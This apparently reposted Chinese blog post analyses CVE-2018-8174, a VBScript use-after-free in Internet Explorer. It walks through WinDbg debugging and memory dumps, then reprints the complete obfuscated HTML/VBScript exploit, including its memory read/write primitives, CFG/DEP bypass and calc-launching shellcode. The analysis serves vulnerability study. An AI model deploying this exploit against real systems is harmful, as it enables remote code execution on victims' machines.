CVE-2018-8174——UAF漏洞

admin
admin
admin
0
文章
0
评论
2023-11-29 17:01:46 AnQuanKeInfo 来源：ZONE.CI 全球网 0 阅读模式

 

一、 前言

CVE-2018-8174漏洞在当时影响最新版本的IE浏览器以及使用了IE内核的应用程序。用户在浏览网页或者打开Office文档的时候都可能中招。该漏洞的核心就是UAF，也算是大家比较熟悉的一种漏洞，本次实验就是为了对该漏洞进行详细分析理解，并详细分析记录复现过程，供大家相互交流学习。

 

二、 实验目标

1 .漏洞实例简介

CVE-2018-8174是2018年4月份由360团队在一起APT攻击中捕获的0day，实际攻击样本中该漏洞结合CVE-2017-0199（一个关于office ole相关的逻辑漏洞）实现远程代码访问执行，360将该漏洞命名为“双杀”漏洞。该漏洞存在于VBsCript引擎中，VbsCript在释放相关对象时对引用计数问题处理不善，当我们构造特定的对象引用即有可能借助该漏洞实现释放内存空间的访问，即UAF利用。这次实验就是为了从漏洞本身入手，熟练掌握windbg的使用以及深入理解该漏洞的利用技巧并且对VBS虚拟机脚本解释机制进行一定程度的刺探。

2 逆向目标

本次实验的主要目的就是为了介绍UAF漏洞本身的成因，尝试浮现还原整个利用攻击过程以及最后的调试分析CVE-2018-8174漏洞的成因和POC代码的验证。

3 漏洞基本原理

在介绍漏洞的原理前我们先来通过一段C++代码制造的悬垂指针来理解一下UAF，代码如下：

在指针p1被释放后，却仍然可以执行已经被释放的内存，而且在 free 了 p1 之后再次申请同样大小空间，操作系统会将刚刚 free 了的内存重新分配。

并且可以通过p2操作p1,那么如果再次使用p1，则可以通过p2修改程序功能等目的。p1就叫做悬垂指针，UAF会造成内存破坏的原因就是使用了悬垂指针。

在理解了上面的悬垂指针后再看在vbs中的悬垂指针是怎样的，用一个根据原始 PoC 修改的造成悬垂指针的脚本来理解一下：

如上图，在UAF函数中，Set array_a(1)=New Trigger 是创建了一个 Trigger 实例给数组array_a，Erase array_a 在析构 array_a 中的元素时，会调用 Trigger 的重载的析构函数；在此函数中先增加了一个 array_b(0) 对 Trigger 实例的引用（Trigger实例引用计数+1），又通过 array_a(1)=1 删除 array_a(1) 对 Trigger 实例的引用，（Trigger的实例引用计数减1）来平衡引用计数后，才会彻底释放 Trigger 实例；但是此时 array_b(0) 仍然保留着这个类的引用，然后在 TriggerVuln 函数中，array_b(0)=0对 array_b(0) 进行访问时造成了触发漏洞，此时 array_b(0) 就叫做悬垂指针。

4 漏洞分析与验证的方法

对于漏洞的分析，是根据原始的POC仿造写了一个造成悬垂指针的脚本来进行分析，对于漏洞的验证则是通过仿写脚本的调试以及结合vbscript的IDA逆向分析的结合，最终产生一个浏览器崩溃的效果。

 

三、实验环境

1 工具

Windbg

2 环境

Win7、kali

 

四、 实验过程

1 漏洞复现

打开本地的CVE-2018-8174_PoC.html，可以发现触发了shellcode并且弹出了计算器：

2 逆向分析

漏洞的基本原理在上面已经讲过了，下面我们就直接用windbg进行调试。

先在windbg所在文件夹开启hpa页堆调试和ust栈回溯选项:

先不做任何断点来直接看一下IE的崩溃现场：

这表明访问了已经释放的内存导致奔溃，用!heap -p -a eax看一下：

可以看到对象所在的内存已经被释放了。

同时我们通过IDA逆向vbscript.dll看一下VBScriptClass::Release函数中的逻辑：

基本上每行有用的伪代码后面我都做了详细的注释，这里也就不细讲了，接下来直接用windbg进行漏洞的溯源。

首先给windbg中下断点：

bu vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g";

bu vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g";

bu vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";

bu vbscript!VbsIsEmpty

在按下g让程序运行以后，程序会断在我们脚本中设计的IsEmpty处：

我们可以看到Trigger对象创建在了61ff98的地方。

我们可以用dd命令看一下对象地址相对应的内容：

02指的就是引用计数，00469b8c存放的就是类的名字“Trigger”。下面是从网上找的VBscriptClass类结构图：

以上是通过在Create函数的地方下断点的方式来输出类的地址，下面就通过vbscript!VbsIsEmpty断点追溯到类的地址。

0:005> dd 61ff98

0061ff98  6dd41748 00000002 0061e6b0 0061d098

0061ffa8  00000850 00000000 00000000 01d4b41c

0061ffb8  00000000 00469b8c 00000000 00000000

0061ffc8  00000000 00000000 171305bb 0800218f

0061ffd8  01d4a428 00000001 111305bd 03002185

0061ffe8  00000000 00000000 00610038 00610038

0061fff8  00620000 00000000 000100ae 01000000

00620008  ffeeffee 00000001 fea000a8 fea000a8

0:005> dd poi(esp+c)

0061fe18  0000004a 000007ff 01d4b3f8 02000002 //01d4b3f8是数据结构地址

0061fe28  00610000 01d49828 00000001 00000000

0061fe38  0239cf68 0061fe58 01d489fc 00000001

0061fe48  00000000 00000141 00000148 01d48854

0061fe58  0239d1ac 0061fe98 00000001 00000000

0061fe68  0000400c 00000000 0061e548 00000000

0061fe78  0000400c 00000000 0061e508 00000000

0061fe88  00000000 0000000b 00000195 00000013

0:005> dd 1d4b3f8 l8

01d4b3f8  0000200c 000007ff 0046a4b0 02000002 //200c这两个字节表示的是VBScript变量类型，表示的是SAFEARRAY类型，ARRAY在046a4b0存放

01d4b408  00000000 00000000 3713059b 0c0121e1

0:005> dd 46a4b0

0046a4b0  08800001 00000010 00000000 004a5ba0//4a5ba0为array_a数据元素地址

+0x000 cDims      : 1       //cDims表示维数

  +0x002 fFeatures    : 0x880

  +0x004 cbElements    : 0x10

  +0x008 cLocks      : 0

  +0x00c pvData      : 004a5ba0 Void    //array_a数据元素地址

  +0x010 rgsabound    : [1] tagSAFEARRAYBOUND



0046a4c0  00000002 00000000 2ad0008a 80000000

0046a4d0  6a6a0050 00000000 6a327be0 0046c390

0046a4e0  6a333ce0 00000000 00000000 00000000

0046a4f0  00000000 00000000 2ad0008c 80000000

0046a500  00000056 00000000 00000000 00000000

0046a510  00000000 00000000 00000000 00000000

0046a520  00000000 00000000 2ad000b6 80000000

0:005> dd 4a5ba0

004a5ba0  00000000 00000000 00000000 00000000 //array_a(0)没有定义

004a5bb0  00000009 00000132 0061ff98 00000001 //array_a(1)type==0x9表示是一个object,值为0061ff98，这也是我们通过create断点得到的值，即类对象的地址

004a5bc0  2ad1908b 88000000 00000000 0046a328

004a5bd0  004a5d38 004a5a68 00000000 00000000

004a5be0  00000000 00000000 2ad1908e 88000000

004a5bf0  00000000 6dd9aa60 004a5c98 004a5c48

004a5c00  00000000 00000000 00000000 00000000

004a5c10  2ad19071 88000000 00000000 0040497c

接下来就执行到了第二个断点，即析构函数中的ISEmpty的时候（在Erase array_a的时候，会触发Class_Terminate析构函数），此时Set array_b(0)=array_a(1)已执行：

Breakpoint 3 hit

eax=6dd4185c ebx=0239c938 ecx=6dd9a9d8 edx=0239c8b0 esi=01d4a574 edi=00000001

eip=6dd5c206 esp=0239c7cc ebp=0239c7dc iopl=0     nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000       efl=00000246

vbscript!VbsIsEmpty:

6dd5c206 8bff       mov   edi,edi

0:005> dd poi(esp+c)

0061fde8  01d4600c 0061ff10 0061e554 00433018 //data buffer在00433018

0061fdf8  00000000 00000132 0061ff98 00000001

0061fe08  0239cd24 0061fe38 00610001 0000002b

0061fe18  0000400c 000007ff 0061e508 02000002

0061fe28  00610000 01d49828 00000001 00000000

0061fe38  0239cf68 0061fe58 01d489fc 00000001

0061fe48  00000000 00000141 00000148 01d48854

0061fe58  0239d1ac 0061fe98 00000001 00000000

0:005> dd 433018  //safearray结构

00433018  08920001 00000010 00000000 004a5f88

00433028  00000002 00000000 2ad63fad 8a000000

00433038  00420056 00530020 00720063 00700069

00433048  00200074 0061004c 0067006e 00610075

00433058  00650067 00000000 2ad63fa7 88000000

00433068  6a6acaf0 00000001 6a327be0 0044fa28

00433078  6a2c4320 0044fa28 6a322028 00000001

00433088  00000005 00000000 2ad63fb9 88000000

0:005> dd 4a5f88

004a5f88  00000009 00000132 0061ff98 00000001 //类型还是0x09，array_b(0)中此时保存着类对象地址

004a5f98  00000000 00000000 00000000 00000000

004a5fa8  2ad19006 80000000 000001b0 00000000

004a5fb8  00000000 00000000 00000000 00000000

004a5fc8  00000000 00000000 2ad19009 80000000

004a5fd8  000001b5 00000000 00000004 00008a0c

004a5fe8  003c0090 003c0090 003c0038 003c0038

004a5ff8  2ad1900c 8000a000 000001ba 00000000

0:005> dd 61ff98 //类对象地址

0061ff98  6dd41748 00000004 0061e6b0 0061d098

0061ffa8  00000850 00000000 00000000 01d4b41c

0061ffb8  00000001 00469b8c 00000000 00000000

0061ffc8  00000000 00000000 171305bb 0800218f

0061ffd8  01d4a428 00000001 111305bd 03002185

0061ffe8  00000000 00000000 00610038 00610038

0061fff8  00620000 00000000 000100ae 01000000

00620008  ffeeffee 00000001 fea000a8 fea000a8

0:005> du 469b8c //类名称

00469b8c  "Trigger"

再然后就是第三次断点，此时Erase已经执行完毕，可以看到已经到了漏洞点：

在上面我们可以发现显然有些地方出现了错误，明明 array_b 还保留着对 Trigger Object引用的时候，Trigger Object却随着 Erase array_a被释放了。我们来看看错误的地方：

在IDA里面查看过 VBScriptClass::Release的伪代码，以及上面的调试后，我们猜测在脚本中的重载的析构函数中，Set array_b(0)=array_a(1)这句是否有对Class Trigger的引用计数进行操作：

接下来通过windbg调试进行验证，首先在以下位置下断点：

bu vbscript!VbsErase

bu vbscript!VBScriptClass::Release

bu vbscript!VbsIsEmpty

bu  vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g"

前面的几次 Release 不用看，一直到VbsErase后面的release的时候单步调试

（此时在调试日志中，类对象地址已经被bu vbscript!VBScriptClass::Create+0x55 “.printf \”Class %mu created at %x\n\”, poi(@esi + 0x24), @esi; g”; 打印出来了，或者运行到 release 的时候的esp +8也是类对象地址）

0:013> g

ModLoad: 6eb30000 6eb9b000  C:\Windows\system32\vbscript.dll

Class Trigger created at 412f58

Breakpoint 1 hit

eax=00412f58 ebx=0247cf90 ecx=6eb31748 edx=00000002 esi=00000000 edi=0041fe20

eip=6eb41ef3 esp=0247ce48 ebp=0247cf38 iopl=0     nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000       efl=00000246

vbscript!VBScriptClass::Release:

6eb41ef3 8bff       mov   edi,edi

0:005> g

Breakpoint 1 hit

eax=00412f58 ebx=00000320 ecx=6eb31748 edx=00000000 esi=0214b3f8 edi=00000009

eip=6eb41ef3 esp=0247cdfc ebp=0247ce0c iopl=0     nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000       efl=00000202

vbscript!VBScriptClass::Release:

6eb41ef3 8bff       mov   edi,edi

0:005> g

Breakpoint 1 hit

eax=00412f58 ebx=00000320 ecx=6eb31748 edx=00000002 esi=0214b3f8 edi=00000009

eip=6eb41ef3 esp=0247d040 ebp=0247d050 iopl=0     nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000       efl=00000202

vbscript!VBScriptClass::Release:

6eb41ef3 8bff       mov   edi,edi

0:005> g

Breakpoint 2 hit

eax=6eb3185c ebx=0247d1d4 ecx=6eb8a9d8 edx=0247d14c esi=0214a574 edi=00000001

eip=6eb4c206 esp=0247d068 ebp=0247d078 iopl=0     nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000       efl=00000246

vbscript!VbsIsEmpty:

6eb4c206 8bff       mov   edi,edi

0:005> g

Breakpoint 1 hit

eax=00412f58 ebx=00000020 ecx=6eb31748 edx=00000000 esi=001dde30 edi=00000009

eip=6eb41ef3 esp=0247cfb0 ebp=0247cfc0 iopl=0     nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000       efl=00000202

vbscript!VBScriptClass::Release:

6eb41ef3 8bff       mov   edi,edi

0:005> g

Breakpoint 0 hit

eax=6eb3185c ebx=0247d1d4 ecx=6eb8a5bc edx=0247d14c esi=0214a5d4 edi=00000001

eip=6eb82628 esp=0247d068 ebp=0247d078 iopl=0     nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000       efl=00000246

vbscript!VbsErase:

6eb82628 8bff       mov   edi,edi

0:005> g

Breakpoint 1 hit

eax=00412f58 ebx=00000020 ecx=6eb31748 edx=00000000 esi=001ddde0 edi=00000009

eip=6eb41ef3 esp=0247cfcc ebp=0247cfdc iopl=0     nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000       efl=00000202

vbscript!VBScriptClass::Release:

6eb41ef3 8bff       mov   edi,edi

0:005> dd 412f58

00412f58  6eb31748 00000001 0041d1c0 0041e1c8 //此时的引用计数是1，this指针指向0x30大小的Trigger对象结构

00412f68  0000087c 00000000 00000000 0041d3e4

00412f78  00000000 00188034 00000000 00000000

00412f88  0a7a72ca 00001341 0041df30 004100c4

00412f98  4e7b738e 0a001344 0041302c 0041306a

00412fa8  004130b4 00413116 00413150 00413198

00412fb8  004131c0 004131da 00413202 00413252

00412fc8  0041328e 004132bc 004132d8 00413450

再然后单步调试到：

b41efc 56        push   esi

6eb41efd 8b35e412b36e   mov   esi,dword ptr [vbscript!_imp__InterlockedDecrement (6eb312e4)]

6eb41f03 57        push   edi //edi中保存的便是object的引用计数

6eb41f04 8d7b04      lea   edi,[ebx+4]

6eb41f07 57        push   edi

6eb41f08 ffd6       call   esi

6eb41f0a 894508      mov   dword ptr [ebp+8],eax

6eb41f0d 85c0       test   eax,eax //判断引用计数是否为零

6eb41f0f 0f84d8210000   je    vbscript!VBScriptClass::Release+0x1e (6eb440ed) //为零则进入Release+0x1e，调用析构函数

6eb41f15 8b4508      mov   eax,dword ptr [ebp+8]

6eb41f18 5f        pop   edi

之后的调试：

6eb440ed 57        push   edi

6eb440ee ff15e812b36e   call   dword ptr [vbscript!_imp__InterlockedIncrement (6eb312e8)]

6eb440f4 8bcb       mov   ecx,ebx

6eb440f6 e829000000    call   vbscript!VBScriptClass::TerminateClass (6eb44124) //在进入TerminateClass前引用计数为1

6eb440fb 57        push   edi //在进入TerminateClass后引用计数还是为1



6eb440fc ffd6       call   esi

6eb440fe 894508      mov   dword ptr [ebp+8],eax

6eb44101 85c0       test   eax,eax

6eb44103 0f850cdeffff   jne   vbscript!VBScriptClass::Release+0x43 (6eb41f15)

6eb44109 85db       test   ebx,ebx

6eb4410b 0f8404deffff   je    vbscript!VBScriptClass::Release+0x43 (6eb41f15)

问题就出现在它没有因为Set array_b(0)=array_a(1)，而增加类对象的引用计数，造成了在类对象被释放后array_b(0)仍然指向那个类对象地址，而造成了悬垂指针。

最终看来，此漏洞就是存在于release 函数中，如果在自定义的脚本中重载了析构函数，在这个函数中操作了类的引用计数（UAF），而release函数不能正确的判断类的引用计数造成而去析构了这个类，但是仍然指向这个类的指针就变成了悬垂指针,后面通过这个悬垂指针进行一些操作来达到任意读写的目的。

3 POC代码及验证

在这里先把原始POC放出来：

<!doctype html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="x-ua-compatible" content="IE=10">
<meta http-equiv="Expires" content="0">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-control" content="no-cache">
<meta http-equiv="Cache" content="no-cache">
</head>

<body>
<script language="vbscript">

Dim lIIl
Dim IIIlI(6),IllII(6)
Dim IllI
Dim IIllI(40)
Dim lIlIIl,lIIIll
Dim IlII
Dim llll,IIIIl
Dim llllIl,IlIIII
Dim NtContinueAddr,VirtualProtectAddr


IlII=195948557
lIlIIl=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
lIIIll=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")
IllI=195890093

Function IIIII(Domain) 
    lIlII=0
    IllllI=0
    IIlIIl=0
    Id=CLng(Rnd*1000000)
    lIlII=CLng((&h27d+8231-&H225b)*Rnd)Mod (&h137d+443-&H152f)+(&h1c17+131-&H1c99)
    If(Id+lIlII)Mod (&h5c0+6421-&H1ed3)=(&h10ba+5264-&H254a) Then
        lIlII=lIlII-(&h86d+6447-&H219b)
    End If

    IllllI=CLng((&h2bd+6137-&H1a6d)*Rnd)Mod (&h769+4593-&H1940)+(&h1a08+2222-&H2255)
    IIlIIl=CLng((&h14e6+1728-&H1b5d)*Rnd)Mod (&hfa3+1513-&H1572)+(&h221c+947-&H256e)
    IIIII=Domain &"?" &Chr(IllllI) &"=" &Id &"&" &Chr(IIlIIl) &"=" &lIlII

End Function


Function lIIII(ByVal lIlIl)

    IIll=""
    For index=0 To Len(lIlIl)-1
        IIll=IIll &lIlI(Asc(Mid(lIlIl,index+1,1)),2)
    Next

    IIll=IIll &"00"
    If Len(IIll)/(&h15c6+3068-&H21c0) Mod (&h1264+2141-&H1abf)=(&hc93+6054-&H2438) Then
        IIll=IIll &"00"
    End If

    For IIIl=(&h1a1a+3208-&H26a2) To Len(IIll)/(&h1b47+331-&H1c8e)-(&h14b2+4131-&H24d4)
        lIIIlI=Mid(IIll,IIIl*(&h576+1268-&Ha66)+(&ha64+6316-&H230f),(&ha49+1388-&Hfb3))
        lIlIll=Mid(IIll,IIIl*(&hf82+3732-&H1e12)+(&h210+2720-&Hcaf)+(&h4fa+5370-&H19f2),(&hf82+5508-&H2504))

        lIIII=lIIII &"%u" &lIlIll &lIIIlI
    Next

End Function

Function lIlI(ByVal Number,ByVal Length)
    IIII=Hex(Number)
    If Len(IIII)<Length Then
        IIII=String(Length-Len(IIII),"0") &IIII   'pad allign with zeros 
    Else
        IIII=Right(IIII,Length)
    End If
    lIlI=IIII
End Function

Function GetUint32(lIII)
    Dim value
    llll.mem(IlII+8)=lIII+4
    llll.mem(IlII)=8        'type string
    value=llll.P0123456789

    llll.mem(IlII)=2
    GetUint32=value

End Function

Function IllIIl(lIII)

    IllIIl=GetUint32(lIII) And (131071-65536)

End Function

Function lllII(lIII)

    lllII=GetUint32(lIII)  And (&h17eb+1312-&H1c0c)

End Function

Sub llllll

End Sub

Function GetMemValue

    llll.mem(IlII)=(&h713+3616-&H1530)

    GetMemValue=llll.mem(IlII+(&h169c+712-&H195c))

End Function

Sub SetMemValue(ByRef IlIIIl)

    llll.mem(IlII+(&h715+3507-&H14c0))=IlIIIl

End Sub

Function LeakVBAddr

    On Error Resume Next

    Dim lllll
    lllll=llllll
    lllll=null
    SetMemValue lllll

    LeakVBAddr=GetMemValue()

End Function

Function GetBaseByDOSmodeSearch(IllIll)

    Dim llIl
    llIl=IllIll And &hffff0000
    Do While GetUint32(llIl+(&h748+4239-&H176f))<>544106784 Or GetUint32(llIl+(&ha2a+7373-&H268b))<>542330692

        llIl=llIl-65536
    Loop
    GetBaseByDOSmodeSearch=llIl

End Function

Function StrCompWrapper(lIII,llIlIl)

    Dim lIIlI,IIIl
    lIIlI=""

    For IIIl=(&ha2a+726-&Hd00) To Len(llIlIl)-(&h2e1+5461-&H1835)
        lIIlI=lIIlI &Chr(lllII(lIII+IIIl))
    Next

    StrCompWrapper=StrComp(UCase(lIIlI),UCase(llIlIl))

End Function

Function GetBaseFromImport(base_address,name_input)

    Dim import_rva,nt_header,descriptor,import_dir
    Dim IIIIII

    nt_header=GetUint32(base_address+(&h3c))
    import_rva=GetUint32(base_address+nt_header+&h80)
    import_dir=base_address+import_rva
    descriptor=0

    Do While True

        Dim Name

        Name=GetUint32(import_dir+descriptor*(&h14)+&hc)

        If Name=0 Then
            GetBaseFromImport=&hBAAD0000
            Exit Function
        Else

            If StrCompWrapper(base_address+Name,name_input)=0 Then
                Exit Do
            End If

        End If
        descriptor=descriptor+1

    Loop

    IIIIII=GetUint32(import_dir+descriptor*(&h14)+&h10)
    GetBaseFromImport=GetBaseByDOSmodeSearch(GetUint32(base_address+IIIIII))
End Function



Function GetProcAddr(dll_base,name)

    Dim p,export_dir,index
    Dim function_rvas,function_names,function_ordin
    Dim Illlll

    p=GetUint32(dll_base+&h3c)
    p=GetUint32(dll_base+p+&h78)
    export_dir=dll_base+p



    function_rvas=dll_base+GetUint32(export_dir+&h1c)
    function_names=dll_base+GetUint32(export_dir+&h20)
    function_ordin=dll_base+GetUint32(export_dir+&h24)

    index=0

    Do While True
        Dim lllI
        lllI=GetUint32(function_names+index*4)
        If StrCompWrapper(dll_base+lllI,name)=0 Then
            Exit Do

        End If

        index=index+1

    Loop

    Illlll=IllIIl(function_ordin+index*2)
    p=GetUint32(function_rvas+Illlll*4)
    GetProcAddr=dll_base+p

End Function



Function GetShellcode()

    IIlI=Unescape("%u0000%u0000%u0000%u0000") &Unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u652e%u6578%u4100%u0065%u0000%u0000%u0000%u0000%u0000%ucc00%ucccc%ucccc%ucccc%ucccc" &lIIII(IIIII("")))

    IIlI=IIlI & String((&h80000-LenB(IIlI))/2,Unescape("%u4141"))

    GetShellcode=IIlI

End Function

Function EscapeAddress(ByVal value)

    Dim High,Low
    High=lIlI((value And &hffff0000)/&h10000,4)
    Low=lIlI(value And &hffff,4)
    EscapeAddress=Unescape("%u" &Low &"%u" &High)

End Function

Function lIllIl

    Dim IIIl,IlllI,IIlI,IlIII,llllI,llIII,lIllI
    IlllI=lIlI(NtContinueAddr,8)
    IlIII=Mid(IlllI,1,2)
    llllI=Mid(IlllI,3,2)
    llIII=Mid(IlllI,5,2)
    lIllI=Mid(IlllI,7,2)

    IIlI=""

    IIlI=IIlI &"%u0000%u" &lIllI &"00"
    For IIIl=1 To 3
        IIlI=IIlI &"%u" &llllI &llIII
        IIlI=IIlI &"%u" &lIllI &IlIII
    Next

    IIlI=IIlI &"%u" &llllI &llIII
    IIlI=IIlI &"%u00" &IlIII

    lIllIl=Unescape(IIlI)

End Function

Function WrapShellcodeWithNtContinueContext(ShellcodeAddrParam) 'bypass cfg

    Dim IIlI

    IIlI=String((100334-65536),Unescape("%u4141"))
    IIlI=IIlI &EscapeAddress(ShellcodeAddrParam)
    IIlI=IIlI &EscapeAddress(ShellcodeAddrParam)
    IIlI=IIlI &EscapeAddress(&h3000)
    IIlI=IIlI &EscapeAddress(&h40)
    IIlI=IIlI &EscapeAddress(ShellcodeAddrParam-8)
    IIlI=IIlI &String(6,Unescape("%u4242"))
    IIlI=IIlI &lIllIl()
    IIlI=IIlI &String((&h80000-LenB(IIlI))/2,Unescape("%u4141"))

    WrapShellcodeWithNtContinueContext=IIlI

End Function

Function ExpandWithVirtualProtect(lIlll)

    Dim IIlI
    Dim lllllI
    lllllI=lIlll+&h23
    IIlI=""
    IIlI=IIlI &EscapeAddress(lllllI)
    IIlI=IIlI &String((&hb8-LenB(IIlI))/2,Unescape("%4141"))
    IIlI=IIlI &EscapeAddress(VirtualProtectAddr)
    IIlI=IIlI &EscapeAddress(&h1b)
    IIlI=IIlI &EscapeAddress(0)
    IIlI=IIlI &EscapeAddress(lIlll)
    IIlI=IIlI &EscapeAddress(&h23)
    IIlI=IIlI &String((&400-LenB(IIlI))/2,Unescape("%u4343"))

    ExpandWithVirtualProtect=IIlI

End Function

Sub ExecuteShellcode

    llll.mem(IlII)=&h4d 'DEP bypass
    llll.mem(IlII+8)=0

  msgbox(IlII)        'VT replaced

End Sub


Class cla1

Private Sub Class_Terminate()

    Set IIIlI(IllI)=lIIl((&h1078+5473-&H25d8))
    IllI=IllI+(&h14b5+2725-&H1f59)
    lIIl((&h79a+3680-&H15f9))=(&h69c+1650-&Hd0d)

End Sub


End Class


Class cla2

Private Sub Class_Terminate()

    Set IllII(IllI)=lIIl((&h15b+3616-&Hf7a))
    IllI=IllI+(&h880+542-&Ha9d)
    lIIl((&h1f75+342-&H20ca))=(&had3+3461-&H1857)

End Sub

End Class



Class IIIlIl

End Class



Class llIIl

Dim mem

Function P

End Function

Function SetProp(Value)
    mem=Value
    SetProp=0

End Function

End Class



Class IIIlll

Dim mem

Function P0123456789

    P0123456789=LenB(mem(IlII+8))

End Function

Function SPP

End Function

End Class



Class lllIIl

Public Default Property Get P

Dim llII

P=174088534690791e-324
For IIIl=(&h7a0+4407-&H18d7) To (&h2eb+1143-&H75c)
    IIIlI(IIIl)=(&h2176+711-&H243d)

Next

Set llII=New IIIlll
llII.mem=lIlIIl

For IIIl=(&h1729+3537-&H24fa) To (&h1df5+605-&H204c)
    Set IIIlI(IIIl)=llII
Next

End Property

End Class



Class llllII

Public Default Property Get P

Dim llII

P=636598737289582e-328

For IIIl=(&h1063+2314-&H196d) To (&h4ac+2014-&Hc84)

    IllII(IIIl)=(&h442+2598-&He68)

Next

Set llII=New IIIlll

llII.mem=lIIIll

For IIIl=(&h7eb+3652-&H162f) To (&h3e8+1657-&Ha5b)

    Set IllII(IIIl)=llII

Next

End Property

End Class



Set llllIl=New lllIIl

Set IlIIII=New llllII

Sub UAF

    For IIIl=(&hfe8+3822-&H1ed6) To (&h8b+8633-&H2233)

        Set IIllI(IIIl)=New IIIlIl

    Next

    For IIIl=(&haa1+6236-&H22e9) To (&h1437+3036-&H1fed)

        Set IIllI(IIIl)=New llIIl

    Next

    IllI=0

    For IIIl=0 To 6

        ReDim lIIl(1)

        Set lIIl(1)=New cla1

        Erase lIIl

    Next

    Set llll=New llIIl

    IllI=0

    For IIIl=0 To 6

        ReDim lIIl(1)

        Set lIIl(1)=New cla2

        Erase lIIl

    Next

    Set IIIIl=New llIIl

End Sub

Sub InitObjects

    llll.SetProp(llllIl)
    IIIIl.SetProp(IlIIII)
    IlII=IIIIl.mem

End Sub


Sub StartExploit

    UAF

    InitObjects

    vb_adrr=LeakVBAddr()
    vbs_base=GetBaseByDOSmodeSearch(GetUint32(vb_adrr))

    msv_base=GetBaseFromImport(vbs_base,"msvcrt.dll")
    krb_base=GetBaseFromImport(msv_base,"kernelbase.dll")
    ntd_base=GetBaseFromImport(msv_base,"ntdll.dll")

    VirtualProtectAddr=GetProcAddr(krb_base,"VirtualProtect")
    NtContinueAddr=GetProcAddr(ntd_base,"NtContinue")

    SetMemValue GetShellcode()
    ShellcodeAddr=GetMemValue()+8
    SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr)

    lIlll=GetMemValue()+69596
    SetMemValue ExpandWithVirtualProtect(lIlll)
    llIIll=GetMemValue()
    Alert "Executing Shellcode"

    ExecuteShellcode

End Sub

StartExploit

</script>

</body>

</html>

可以看到原始的POC在变量名和数据计算中存在大量的混淆，下面我们会对比较关键的函数进行还原。

首先就是分析PoC中的UAF函数：

'申请空间，占位

Sub UAF
    Alert "UAF"

  For i=0 To 19
    Set array(i)=New Foo            '占据系统堆碎片
  Next

  For i=20 To 39
    Set array(i)=New cla4 '占据系统堆碎片
  Next



  spec_int_2=0

  For i=0 To 6
    ReDim array_a(1) 
    Set array_a(1)=New Trigger
    Erase array_a 'array_b保存了对已经释放的Trigger obj的引用
  Next


  IsEmpty(array_b) '引用计数为0时为什么没有调用release 完全释放类对象


  Set cla4_obj1=New cla4 '同时 cla4_obj1 对它占位
  IsEmpty(cla4_obj1)


  spec_int_2=0
  For i=0 To 6
    ReDim array_a(1)
    Set array_a(1)=New cla2 'array_c保存了对已经释放的 cla2 obj 的引用
    Erase array_a 
  Next

  IsEmpty(array_c)
  Set cla4_obj2=New cla4 '同时 cla4_obj2 对它占位
  IsEmpty(cla4_obj2)

End Sub

第一次的IsEmpty断点，参数为array_b:

Breakpoint 0 hit

eax=6dd4185c ebx=0257d04c ecx=6dd9a9d8 edx=0257cfc4 esi=01d75424 edi=00000001

eip=6dd5c206 esp=0257cee0 ebp=0257cef0 iopl=0     nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000       efl=00000246

vbscript!VbsIsEmpty:

6dd5c206 8bff       mov   edi,edi

0:005> dd poi(esp+c)

0049ec10  0000600c 00000000 01d811e8 002e1ef0 //2e1efo是array_b的data buffer

0049ec20  02570002 0049df00 00490013 0257cea8

0049ec30  02570002 0049df00 00490001 0257cea8

0049ec40  6dd40002 0257cee4 02570027 0049df00

0049ec50  6dd40002 0257cee4 02570001 0049df00

0049ec60  6dd40002 0257cee4 02570006 0049df00

0049ec70  6dd40002 0257cee4 02570001 0049df00

0049ec80  00000000 00000000 00000000 00000000

0:005> dd 2e1ef0

002e1ef0  08920001 00000010 00000000 0031b348 // 0031b348是array_b数据元素地址

002e1f00  00000007 00000000 1f784f23 88000000

002e1f10  67ef2010 00000003 00000008 00000000

002e1f20  00000000 002d8f40 00000052 80006200

002e1f30  00000004 002c1b30 1f784f25 8800f812

002e1f40  73a8c9c4 00000001 002ba2d0 ffffffff

002e1f50  00000000 00000000 00000000 00000000

002e1f60  02000001 73a8bec4 1f784f2f 80000848

0:005> dd 31b348

